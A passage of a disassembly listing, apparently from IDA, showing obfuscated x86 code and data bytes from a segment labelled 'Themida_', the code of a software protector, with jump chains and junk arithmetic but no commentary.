		mov	edi, 4
		add	esi, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_508EE3
; ---------------------------------------------------------------------------


loc_50BDD4:				; CODE XREF: Themida_:005084C1j
		add	eax, 4
		jmp	loc_50B5AE
; ---------------------------------------------------------------------------
aTSJgb?kpS	db 'T]S',0Ah
		db 'jg?KP[',1Bh,0
		db 0
; ---------------------------------------------------------------------------


loc_50BDF1:				; CODE XREF: Themida_:005030E6j
		pop	eax
		pop	edx
		push	60FDh
		mov	[esp], edx
		jmp	loc_50A482
; ---------------------------------------------------------------------------


loc_50BE00:				; CODE XREF: Themida_:0050C70Fj
		not	esi
		shl	esi, 5
		sub	esi, 0AFC872BCh
		add	ebp, esi
		jmp	loc_50311F
; ---------------------------------------------------------------------------
		dw 5152h
		dd 4D3979B9h, 397DBA77h, 0CA31774Dh, 34BA5259h,	0E9158111h
		dd 0FFFF8072h
; ---------------------------------------------------------------------------


loc_50BE2C:				; CODE XREF: Themida_:00502D85j
		mov	edx, esp
		jmp	loc_506A5E
; ---------------------------------------------------------------------------
		db 81h
		dd 0DD3685E1h, 6E9C10Bh, 16F181h, 0CF010020h, 4C78159h
		dd 33000000h, 3C31243Ch, 243C3324h, 4EC815Ch, 0E9000000h
		dd 0D9Bh, 0E908EFC1h, 0FFFFC421h, 5BD98966h, 0FFCF3FE9h
		dd 241C8BFFh, 8304C483h, 1C8904ECh, 663EB324h, 0E9000068h
		dd 0FFFFEBA4h, 0F38F381h, 2EE90A88h, 58FFFF95h,	4BD5553h
		dd 89000000h, 61DEE9EBh, 0C483FFFFh, 240C8704h,	9CC83B5Ch
		dd 0FF5960E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50BEB1:				; CODE XREF: Themida_:0050D47Dj
		push	5C22h
		mov	[esp], ecx
		jmp	loc_504147
; ---------------------------------------------------------------------------
		dw 0C680h
		dd 0E9F3006Bh, 0FFFFC0B9h, 0F538E95Dh, 0C483FFFFh, 1D8B6804h
		dd 4890000h, 5933E924h,	48FFFFFh, 85665C24h, 0FE99CC8h
		dd 0B9FFFF60h, 73564FCBh, 8159CD31h, 0D00357EDh, 5DEE895Eh
		dd 0FFD9E6E9h, 4EC81FFh, 89000000h, 4B82404h, 81000000h
		dd 86134DEDh, 0E9C50114h, 0FFFF7E3Bh, 6C0E68h, 240C8900h
		dd 8953C189h, 0B85053CBh, 18684C2Fh, 4244429h, 24048B58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		jmp	loc_50A327
; ---------------------------------------------------------------------------
		dd 0E5BF57h, 0F8016402h, 0FF9ED7E9h, 47DC68FFh,	1C890000h
		dd 81E38924h, 4C3h, 4EC8300h, 0E9240489h, 0FFFF9AE1h, 0FFE95759h
		db 0B5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50BF7B:				; CODE XREF: Themida_:005093CFj
		xor	edi, 44847FCh
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 22C24C82h
		sub	ebx, edi
		jmp	loc_50CEE9
; ---------------------------------------------------------------------------


loc_50BF96:				; CODE XREF: Themida_:0050712Dj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		and	eax, ecx
		pop	ecx
		shr	eax, 8
		jmp	loc_5092A2
; ---------------------------------------------------------------------------
		dd 5C56E581h, 81454DF9h, 8A0259EDh, 0C2F7E93Ch,	348BFFFFh
		dd 0E2895224h, 4C281h, 0C2830000h, 24148704h, 8BD7015Ch
		dd 0C4812414h, 4, 31243C33h, 3C33243Ch,	29665C24h, 0E99C2404h
		dd 0FFFF5825h, 0BD242C89h, 4, 0F4BB5355h, 530C9D41h, 0DB242C81h
		dd 5D45DE32h, 32DBC581h, 0C15B45DEh, 0DDF708E5h, 7374C581h
		dd 0EB0118D3h, 0FF93D2E9h, 0E9F42CFFh, 0FFFFDF43h, 0D89EC281h
		dd 0D029DE28h, 26BD555Ah, 145F847h, 50E95DE8h, 5500000Ah
		dd 6F03A0BDh, 0CEC0E97Eh, 0C781FFFFh, 4, 4C781h, 3C870000h
		dd 54505C24h, 40558h, 91E90000h, 81FFFFD8h, 0DECF95E9h
		dd 8BC88925h, 0C483240Ch, 0B398E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C076:				; CODE XREF: Themida_:00505E2Bj
		mov	esp, [esp]
		push	esi
		jmp	loc_505EEF
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0CA8103E2h, 412B28CCh, 2165EA81h, 0C28141F0h, 5C74F47Dh
		dd 0CF6E9h
		db 0
; ---------------------------------------------------------------------------


loc_50C099:				; CODE XREF: Themida_:005072E9j
		push	edx
		mov	edx, 3196F51h
		mov	ecx, edx
		pop	edx
		jmp	loc_50BA98
; ---------------------------------------------------------------------------
		db 8
		dd 3B6E9E3h, 0CE810000h, 5C9B0028h, 0F681DEF7h,	1A06155h
		dd 586E9h, 72E18000h, 7F180h, 0C72FE9CBh, 5DBDFFFFh, 0E9633116h
		dd 0FFFF5AF1h, 0B1EF814Fh, 1F29423h, 5F08247Ch,	0E924048Bh
		dd 0FFFF8FE1h
; ---------------------------------------------------------------------------


loc_50C0EC:				; CODE XREF: Themida_:00505D18j
		add	ecx, 4
		jmp	loc_508D5D
; ---------------------------------------------------------------------------
		db 5Dh
		dd 6F6EB81h, 835D7935h,	1C8702C3h, 24248B24h, 0FF5873E9h
		dd 42E957FFh, 30FFFF5Eh, 0F90059EFh, 0D6B7535Bh, 3017C780h
		dd 241C8BF9h, 4C481h, 92C0000h,	904C800h, 240C8B66h, 81E78957h
		dd 4C7h, 2C78300h, 0E9243C87h, 0FFFF66EBh, 2474FF53h, 3BE95B04h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C153:				; CODE XREF: Themida_:00502500j
		sub	esp, 2
		mov	[esp], cx
		mov	cl, 98h
		sub	al, cl
		pop	cx
		sub	al, dl
		push	edx
		mov	dh, 34h
		push	ecx
		mov	cl, 44h
		jmp	loc_50CD96
; ---------------------------------------------------------------------------
		db 1, 0F0h, 8Bh
		dd 0C4832434h, 0A6BD5504h, 0E96F5429h, 0FFFF8E94h, 483E95Fh
		dd 43B60000h, 0EE80E6D0h, 0DB90E98Ah, 487FFFFh,	14895C24h
		dd 0E941E924h, 0C681FFFFh, 4, 0FFDF3FE9h, 5663E9FFh, 0C483FFFFh
		dd 0D194E904h, 0CC88FFFFh, 0E188D4F6h, 0FF6BF6E9h, 4C483FFh
		dd 81E78957h, 4C7h, 0B7E95000h,	56FFFFB7h, 350C17BEh, 8BF3015Bh
		dd 71E92434h, 81FFFFB1h, 4ECh, 0BE92E900h, 0E952FFFFh
		dd 0FFFFEFD9h
; ---------------------------------------------------------------------------


loc_50C1F4:				; CODE XREF: Themida_:00504A81j
		xor	ebx, eax
		xor	eax, ebx
		push	ebp
		push	edx
		push	ecx
		mov	ecx, 1A971E11h
		jmp	loc_50AE80
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 68570000h, 4A65B7h, 67BA525Fh, 0F72BD85Eh, 0B25CE9D2h
		dd 77FFFFFFh, 59669D1Ch, 2414D366h, 1E6E99Ch, 0E95C0000h
		dd 0FFFF85CFh, 5E6C6A25h, 67CE960h, 0EE810000h,	32C536F3h
		dd 0F5EBE951h, 0B850FFFFh, 12195964h, 1B964BBBh, 58C3295Bh
		dd 3CE3F381h, 0DF014902h, 83241C8Bh, 0EC8304C4h, 240C8904h
		dd 0FFAB9EE9h, 4BD3F7FFh, 2C0DF381h, 4E975ABh, 66FFFF82h
		dd 55240C8Bh, 72E95D54h, 4FFFFFCh, 0E9232C96h, 0FFFF9E90h
; ---------------------------------------------------------------------------


loc_50C298:				; CODE XREF: Themida_:005037B7j
		mov	[esp], ecx
		push	1E13h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		push	eax
		mov	eax, 606D1951h
		add	eax, 9F92E6B3h
		add	ecx, eax
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	eax
		mov	eax, 3D1E5E4Dh
		xor	ecx, eax
		jmp	loc_50DB12
; ---------------------------------------------------------------------------


loc_50C2D7:				; CODE XREF: Themida_:0050A310j
		xor	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_5086CC
; ---------------------------------------------------------------------------


loc_50C2F9:				; CODE XREF: Themida_:00504CB1j
		xor	eax, 3B1925F5h
		push	edi
		mov	edi, 5DB275B0h
		jmp	loc_50B724
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 0E9000000h, 0FFFF9349h, 8B240487h, 0C4812424h, 4, 582434FFh
		dd 4EC8351h, 0FF841EE9h, 4EC81FFh, 89000000h, 0E0892404h
		dd 4BB53h, 0D8010000h, 81241C8Bh, 4C4h,	74E95300h
		db 0Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50C34F:				; CODE XREF: Themida_:00509286j
		pop	esi
		or	ecx, 63112712h
		jmp	loc_5048A6
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0DFF704EFh, 3C38E781h, 81E957EDh, 80FFFFBFh,	0EFC03CF7h
		dd 66EF8006h, 0FE5BF988h, 0BFF180C9h, 2C59C800h, 1C8B6696h
		dd 0BFE95524h, 0C1FFFF87h, 0C58104EDh, 0FD440AFCh, 68E9E901h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5095E4
; ---------------------------------------------------------------------------
		db 0BDh
		dd 334C188Eh, 0E2C58145h, 811C1535h, 0DA22ACE5h, 5ACD8142h
		dd 4519E44Fh, 2083F581h, 0EDC13B89h, 0F7DDF707h, 0FFED83D5h
		dd 530F581h, 32E97DEBh,	0B2FFFF7Ch, 8BD32065h, 0E9512414h
		dd 0FFFF62D2h
; ---------------------------------------------------------------------------


loc_50C3E4:				; CODE XREF: Themida_:0050469Dj
		push	0D4Eh
		mov	[esp], eax
		push	0C6Ah
		mov	[esp], ebx
		mov	ebx, 495B37E9h
		jmp	loc_508578
; ---------------------------------------------------------------------------
		dw 8359h
		dd 2C8904ECh, 1D8E6824h, 12680000h, 8900002Fh, 0E9512424h
		dd 0FFFFA135h, 0FF53F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50C41D:				; CODE XREF: Themida_:0050CEF6j
		add	esp, 4
		jmp	loc_5031D8
; ---------------------------------------------------------------------------
		db 29h,	0F0h, 5
		dd 1ED2CD2h, 0FFCC37E9h, 0C56866FFh, 7264E922h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C43A:				; CODE XREF: Themida_:00501F04j
		add	eax, 0DB74D2C7h
		push	edi
		mov	edi, 130B15E2h
		xor	edi, 44077F6Ch
		shr	edi, 3
		jmp	loc_50D106
; ---------------------------------------------------------------------------


loc_50C453:				; CODE XREF: Themida_:00509676j
		mov	[esp], ecx
		push	ebx
		mov	bh, al
		jmp	loc_50CF01
; ---------------------------------------------------------------------------


loc_50C45E:				; CODE XREF: Themida_:00502816j
		pop	edi
		jmp	loc_504E7E
; ---------------------------------------------------------------------------
		dd 0D3F65866h, 0E901C380h, 0FFFFBC95h
; ---------------------------------------------------------------------------


loc_50C470:				; CODE XREF: Themida_:0050D496j
		xor	[esp], eax
		jmp	loc_507D56
; ---------------------------------------------------------------------------
		dd 240C8B66h, 0FFCD44E9h, 2434FFFFh, 0FF977AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50C489:				; CODE XREF: Themida_:005092A4j
		xor	eax, esi
		jmp	loc_5028D5
; ---------------------------------------------------------------------------
		dd 0E903E3C1h, 0FFFFB853h, 5EADE95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C49E:				; CODE XREF: Themida_:0050BBD6j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_50D482
; ---------------------------------------------------------------------------
		dw 0DF29h
		dd 17BE565Bh, 1BEC502h,	0F8015EF7h, 57E8015Fh, 0CDB85052h
		dd 403B5638h, 0CDE9D0F7h, 0B7FFFF69h, 2E7C031h,	14E9C7FEh
		dd 57FFFF6Eh, 0F65A2DBFh, 0DFF74725h, 0A5CEEF81h, 0FE01DA09h
		dd 0FFA733E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50C4FD:				; CODE XREF: Themida_:0050247Fj
		mov	[esp], ebp
		mov	ebp, 60E007CEh
		add	eax, 5F585ABEh
		push	ecx
		push	727Dh
		mov	[esp], esi
		push	270A012Ah
		pop	esi
		and	esi, 2DA57AC4h
		jmp	loc_50D337
; ---------------------------------------------------------------------------


loc_50C524:				; CODE XREF: Themida_:00509A97j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_503CAE
; ---------------------------------------------------------------------------
		dd 514E9ADh, 80680000h,	8900007Fh, 71E9241Ch
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C543:				; CODE XREF: Themida_:005052C5j
		mov	ecx, [esp]
		push	ebp
		push	3C63h
		mov	[esp], esp
		jmp	loc_504A91
; ---------------------------------------------------------------------------


loc_50C554:				; CODE XREF: Themida_:0050B734j
		add	ebp, 2
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_501811
; ---------------------------------------------------------------------------


loc_50C56A:				; CODE XREF: Themida_:005034B3j
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		push	2A0Ch
		mov	[esp], ebp
		push	dword ptr [esp]
		jmp	loc_508D89
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 48E95504h, 4EFFFFB1h, 14C5BB53h,	4DE90109h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50C5BB:				; CODE XREF: Themida_:0050D2E2j
		mov	esi, 1
		jmp	loc_50DB08
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0FFFB7BE9h, 4FF55FFh, 242C8B24h, 4C481h, 0C5810000h
		dd 7D996BF0h, 5DF6CD81h, 0ED8143F2h, 4BF65FFAh,	0CE9EA01h
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C5F3:				; CODE XREF: Themida_:005030FAj
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_503C8B
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 29h
		dd 4B039C7Ah, 25ABC381h, 0FEE947E7h, 89FFFF80h,	0C9815EF1h
		dd 35A07C63h, 6887C981h, 0E9535FE8h, 0C25h
; ---------------------------------------------------------------------------


loc_50C630:				; CODE XREF: Themida_:00507DD4j
		sub	eax, 3C697C9Dh
		sub	eax, ecx
		add	eax, 3C697C9Dh
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_506ABE
; ---------------------------------------------------------------------------
		db 81h
		dd 216CCE6h, 78C6813Ch,	89DFFFEDh, 0DCCE9F1h, 0C3830000h
		dd 241C8704h, 0E924248Bh, 0FFFF51A9h, 0E904C483h, 2AAh
		dd 0E924248Bh, 0C86h, 81242489h, 42404h, 1C8B0000h, 4C48324h
		dd 4BE56h, 47E90000h, 59FFFFB6h, 8DC0B60Fh, 0EC838704h
		dd 240C8904h, 0E955E189h, 0FFFFD4AFh
; ---------------------------------------------------------------------------


loc_50C6A8:				; CODE XREF: Themida_:00503D4Aj
		pop	edx
		and	edx, 4C261DE3h
		push	ebp
		mov	ebp, 7E2264BBh
		and	edx, ebp
		pop	ebp
		xor	edx, 40020084h
		mov	ebx, edx
		pop	edx
		add	edi, ebx
		pop	ebx
		add	edi, 4
		jmp	loc_50CEC2
; ---------------------------------------------------------------------------
		db 89h
		dd 5E68242Ch, 5D08422Ch, 5206EDC1h, 0E712ECBAh,	0E9D5210Ah
		dd 0FFFF5F3Ah
; ---------------------------------------------------------------------------


loc_50C6E8:				; CODE XREF: Themida_:0050AAD0j
		push	ecx
		jmp	loc_504D41
; ---------------------------------------------------------------------------
		dw 0DA31h
		dd 288E9h, 243C8700h, 0C711E95Ch, 0BA68FFFFh, 0E950D056h
		dd 0FFFFBBB7h
; ---------------------------------------------------------------------------


loc_50C708:				; CODE XREF: Themida_:005093AFj
		mov	esi, 5D7E4397h
		neg	esi
		jmp	loc_50BE00
; ---------------------------------------------------------------------------
		dd 9D1C77FFh, 0D3665966h, 0E99C241Ch, 0FFFF50EDh, 159CB29h
		dd 0CF21E9DEh, 575FFFFFh, 0FFFFFFBFh, 0E9FE01FFh, 0FFFFD48Dh
		dd 0E848E951h, 0EC83FFFFh, 242C8904h, 4BDh, 250A6800h
		dd 14890000h, 6A73E924h, 2166FFFFh, 0E99C2404h,	0FFFF50ADh
		dd 0B84E7C05h, 0E9F00122h, 0FA8h, 8904EC83h, 9E9243Ch
		dd 81FFFFA2h, 0CF0643EDh, 5DE98974h, 0C8BCA01h,	0EC26E924h
		dd 0EF81FFFFh, 55BC3E1Ah, 1333C781h, 0DF0135C6h, 0FFA738E9h
		dd 5AD730FFh, 0FFAF08E9h, 0BB0F66FFh, 0E99C2404h, 0FFFF505Dh
		dd 0C55A67BFh, 81DFF761h, 0B281B4F7h, 0F23E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_50C7C6:				; CODE XREF: Themida_:00507BA0j
		add	esp, 4
		sub	ebx, 0D2CEC48Bh
		mov	ecx, ebx
		jmp	loc_50A8FC
; ---------------------------------------------------------------------------
		dw 0FE21h
		dd 0AF6815Fh, 81068918h, 1040F9C7h, 81F70153h, 1040F9EFh
		dd 24348B53h, 8704C483h, 248B243Ch, 240CFE24h, 500FE99Ch
		dd 315DFFFFh, 241C8BDFh, 8104C483h, 0FE13ACEDh,	81FD2944h
		dd 0FE13ACC5h, 0C2E95F44h, 5EFFFF97h, 83242C8Bh, 525504C4h
		dd 0AE7B90BAh, 1DEA8151h, 0E9594D44h, 0FFFF9776h, 0E924248Bh
		dd 0FFFFD7FCh, 5224048Bh, 0C281E289h, 4, 18F8BD55h, 0EC8133B5h
		dd 4, 52242C89h, 0D2F75A5Dh, 0FFECA2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50C865:				; CODE XREF: Themida_:00502EBDj
		shl	edx, 4
		shl	edx, 4
		push	edi
		mov	edi, 1C90602Fh
		not	edi
		not	edi
		jmp	loc_5086AC
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0FFD271E9h, 4618BFFFh, 0CF814936h, 28617424h, 47C4CF81h
		dd 0EFC112FDh, 6E5CE906h, 8B66FFFFh, 1E92404h, 33FFFF78h
		dd 0C31240Ch, 240C3324h, 4C4835Ch, 51C8AF0Fh, 4F53E99Ch
		dd 0E951FFFFh, 0FFFFB6ACh, 0BE56E789h, 4, 0E95EF701h, 0FFFF6984h
; ---------------------------------------------------------------------------


loc_50C8D4:				; CODE XREF: Themida_:005071C6j
		not	dword ptr [esp]
		pop	ecx
		add	ecx, 6FEE353Fh
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		mov	eax, [esp]
		jmp	loc_50A63A
; ---------------------------------------------------------------------------
		db 0B9h, 0, 5Eh
		dd 0E1C14C11h, 0C1D9F707h, 0E95003E9h, 0FFFF545Dh
; ---------------------------------------------------------------------------


loc_50C900:				; CODE XREF: Themida_:00502CF6j
		mov	eax, 3CDE1ADBh
		and	eax, 193F487Fh
		shr	eax, 3
		shl	eax, 5
		add	eax, 9F87DEA0h
		jmp	loc_502FA5
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 31000000h,	4EC81C3h, 89000000h, 34812404h
		dd 4A049C24h, 24148B54h, 0FFB8E8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50C93D:				; CODE XREF: Themida_:0050383Bj
		or	eax, eax
		jz	loc_50A1EA
		push	0B83h
		mov	[esp], ebx
		push	788Ch
		mov	[esp], edi
		mov	edi, 1Ch
		sub	esp, 4
		mov	[esp], edi
		add	dword ptr [esp], 49E029Bh
		pop	ebx
		push	ebp
		jmp	loc_502728
; ---------------------------------------------------------------------------
		dw 0A0B9h
		dd 11CC205h, 0F22959CAh, 0FF8D31E9h, 0D0895BFFh, 7FBB535Ah
		dd 1455475h, 0C6015BDEh, 757FEE81h, 87584554h, 248B2434h
		dd 0E05AE924h, 48BFFFFh, 4C48124h, 50000000h, 0FF6554E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50C9AD:				; CODE XREF: Themida_:00506667j
		sub	[edi+24h], edx
		jmp	loc_5091E7
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 4C481h, 2050000h, 50000000h,	42474FFh, 582434FFh, 4C481h
		dd 48F0000h, 0F201E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50C9DA:				; CODE XREF: Themida_:00508A01j
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_50B930
; ---------------------------------------------------------------------------
		dd 781B68h, 24148900h, 0FFF35DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50C9F5:				; CODE XREF: Themida_:005087CAj
		mov	[esp], ebp
		jmp	loc_505D0D
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 4
		dd 0E9000000h, 982h, 4C281h, 0EA810000h, 4, 31241433h
		dd 14332414h, 55E95C24h, 0F6FFFFFCh, 0DBCB80D3h, 0E959EB80h
		dd 0FFFFD08Ah, 40558h, 89530000h, 4C381E3h, 83000000h
		dd 1C8704EBh, 0C705E924h, 8168FFFFh, 89000041h,	7EBE2434h
		dd 0E924D157h, 0FFFFC6E0h, 240C8B66h, 37C368h, 24348900h
		dd 0C681E689h, 4, 8904EC83h, 2B9240Ch, 1000000h, 0FF5659CEh
		dd 0FF042474h, 63E92434h, 1FFFFDEh, 47262DD8h, 0EC8345F8h
		dd 24148904h, 1C1DBF57h, 0EF810815h, 5C184765h,	7EE3C781h
		dd 0FA899D2Bh, 8BD0015Fh, 0C4832414h, 0A48EE904h, 0E95FFFFFh
		dd 0FFFF702Ch, 0FF4D4CE9h, 88F488FFh, 24048BE3h, 4C481h
		dd 148B0000h, 4C48124h,	59000000h, 0FF5DA8E9h, 240431FFh
		dd 8B240433h, 4D32424h,	9DE99C24h, 66FFFFC6h, 8324048Bh
		dd 8DE904ECh, 89FFFF66h, 4C681E6h, 81000000h, 4C6h, 24348700h
		dd 5724248Bh, 711B68h, 24248900h, 8904EC83h, 95E9240Ch
		dd 80FFFF86h, 5966FEC4h, 8B0C480h, 6F18E9E1h, 8F5FFFFFh
		dd 248B2404h, 0E9F76624h, 0B28E9h, 4C48100h, 83000000h
		dd 2C8904ECh, 35E86824h, 2C890000h, 0E44FE924h,	8956FFFFh
		dd 4C681E6h, 0E9000000h, 0FFFFF97Bh, 815AD601h,	15CE56EEh
		dd 9E5FE917h, 0C781FFFFh, 4, 4C781h, 0FBE90000h
		db 0Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_50CB8B:				; CODE XREF: Themida_:0050D33Dj
		neg	esi
		jmp	loc_507BC0
; ---------------------------------------------------------------------------
		dw 2B6h
		dd 5A66F000h, 5166F828h, 0FFE2CBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50CBA1:				; CODE XREF: Themida_:0050D15Cj
		pop	esi
		sub	eax, 5A863E4Ah
		sub	eax, ebx
		add	eax, 5A863E4Ah
		pop	ebx
		push	esi
		push	edx
		push	376A63BFh
		jmp	loc_5084E2
; ---------------------------------------------------------------------------
		db 87h
		dd 895C243Ch, 0F3E92414h, 81FFFF6Fh, 883ED1EEh,	7E6C112h
		dd 0FFAE27E9h, 4C481FFh, 56000000h, 4EC81h, 3C890000h
		dd 5656BF24h, 6804B9h, 29000000h, 34FF243Ch, 2AE95F24h
		dd 8900000Dh, 0E589242Ch, 4C581h, 51E90000h, 83FFFFCBh
		dd 0D2E904ECh, 66FFFFEFh, 83241C89h, 148904ECh,	0B307B224h
		dd 8BD33015h, 0C4812414h, 4, 0FFF65EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50CC31:				; CODE XREF: Themida_:00508E30j
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		xchg	eax, [esp]
		pop	esp
		jmp	loc_504AD8
; ---------------------------------------------------------------------------
		db 80h
		dd 0EC83BFEBh, 0E639E904h, 4868FFFFh, 89000048h, 86E9240Ch
		dd 0B9FFFFA0h, 7C6F1745h, 8064BCB8h, 0E9C8019Fh, 0FFFF9ECCh
		dd 0E9242C89h, 0FFFF72EEh, 0FF4B98E9h, 64C581FFh, 0E90954AEh
		dd 0FFFF5E21h, 63E9D031h, 1FFFFD6h, 31055BD8h, 5D76B239h
		dd 1107C381h, 0C38102F1h, 670B124Ah, 0EB81C301h, 670B124Ah
		dd 9F06E951h, 5158FFFFh, 4B9h, 8BC80100h, 0C483240Ch, 4BF5704h
		dd 1000000h, 4875FF8h, 48B5C24h, 4C48124h, 35000000h, 6515600Eh
		dd 5A3E68h, 0CA9E900h, 34FF0000h, 24148B24h, 4C481h, 0E9530000h
		dd 0FFFFCB29h, 5A2434FFh, 81E28952h, 4C2h, 4C28300h, 5C241487h
		dd 494A2D58h, 816819C9h, 89000027h, 0B7E92434h,	0BEFFFF73h
		dd 4, 0C2E9F701h, 0FFFFFFC9h, 34FF2434h, 240C8B24h, 815F5457h
		dd 4C7h, 4C78300h, 0E9243C87h, 0FFFF6AB3h, 0EDE9D1F7h
		dd 5EFFFFACh, 42B1C781h, 0D7297D95h, 42B1EF81h,	315A7D95h
		dd 0FD015EF7h, 0E9243C8Bh, 0FFFFDD24h
; ---------------------------------------------------------------------------


loc_50CD68:				; CODE XREF: Themida_:00502D41j
		pop	esi
		jmp	loc_50398C
; ---------------------------------------------------------------------------


loc_50CD6E:				; CODE XREF: Themida_:00501812j
		push	ecx
		push	edx
		jmp	loc_507D0A
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 0FF7782E9h, 295A5BFFh, 315D246Fh, 153E68D2h,	0CCE90000h
		dd 1FFFF69h, 0A7ADE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50CD96:				; CODE XREF: Themida_:0050C168j
		xor	cl, 0A1h
		jmp	loc_506A40
; ---------------------------------------------------------------------------
		dw 0E186h
		dd 0E186D4F6h, 66E168h,	24048900h, 0FF6EC1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50CDB1:				; CODE XREF: Themida_:00504DA9j
		pop	esi
		sub	eax, 6536694h
		sub	eax, edx
		add	eax, 6536694h
		jmp	loc_507258
; ---------------------------------------------------------------------------
		db 52h
		dd 217FCCBAh, 91D1BB52h, 0D301B94Dh, 0EB81435Ah, 0B6F119Ch
		dd 4E54A92Dh, 0E9D80154h, 0FFFFDCB4h, 15BDE31h,	0EB015EF5h
		dd 0FF900AE9h, 80C328FFh, 0EB8061C3h, 7A236867h, 8BE90000h
		dd 81FFFFB2h, 375543EDh, 0E9EF8955h, 165h, 5DE7F581h, 0B9510B98h
		dd 6E9F5DACh, 0C141E9D1h, 0E1C107E1h, 0EBE2E907h, 6664FFFFh
		dd 5102B60Fh, 979EE954h, 0F766FFFFh, 0A4E92414h, 5AFFFFCCh
		dd 4247C01h, 7DE95F5Fh,	66FFFF9Fh, 5D66EA89h, 7CAD2D66h
		dd 0E9D02966h, 0FFFF616Ch
; ---------------------------------------------------------------------------


loc_50CE5C:				; CODE XREF: Themida_:0050A146j
		add	ecx, esi
		pop	esi
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5073B4
; ---------------------------------------------------------------------------


loc_50CE73:				; CODE XREF: Themida_:005031A8j
		add	ebx, edx
		mov	edx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		sub	edx, ebx
		pop	ebx
		sub	edx, eax
		push	eax
		mov	eax, 30A85243h
		add	edx, 1F2D2980h
		add	edx, eax
		sub	edx, 1F2D2980h
		pop	eax
		jmp	loc_501811
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0FF7564E9h, 7AD968FFh, 3C890000h, 0C586E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_50CEC2:				; CODE XREF: Themida_:0050C6CAj
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	eax, cl
		push	edx
		push	esi
		jmp	loc_50B5CB
; ---------------------------------------------------------------------------
		db 5Ch,	68h, 1Fh
		dd 8900003Dh, 9B682414h, 8900002Ah, 0E2892414h,	0FFBC34E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_50CEE9:				; CODE XREF: Themida_:0050BF91j
		pop	edi
		jmp	loc_50D833
; ---------------------------------------------------------------------------


loc_50CEEF:				; CODE XREF: Themida_:00505C47j
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		jmp	loc_50C41D
; ---------------------------------------------------------------------------
		db 57h
		dd 0FF89B1E9h
		db 0FFh
; ---------------------------------------------------------------------------


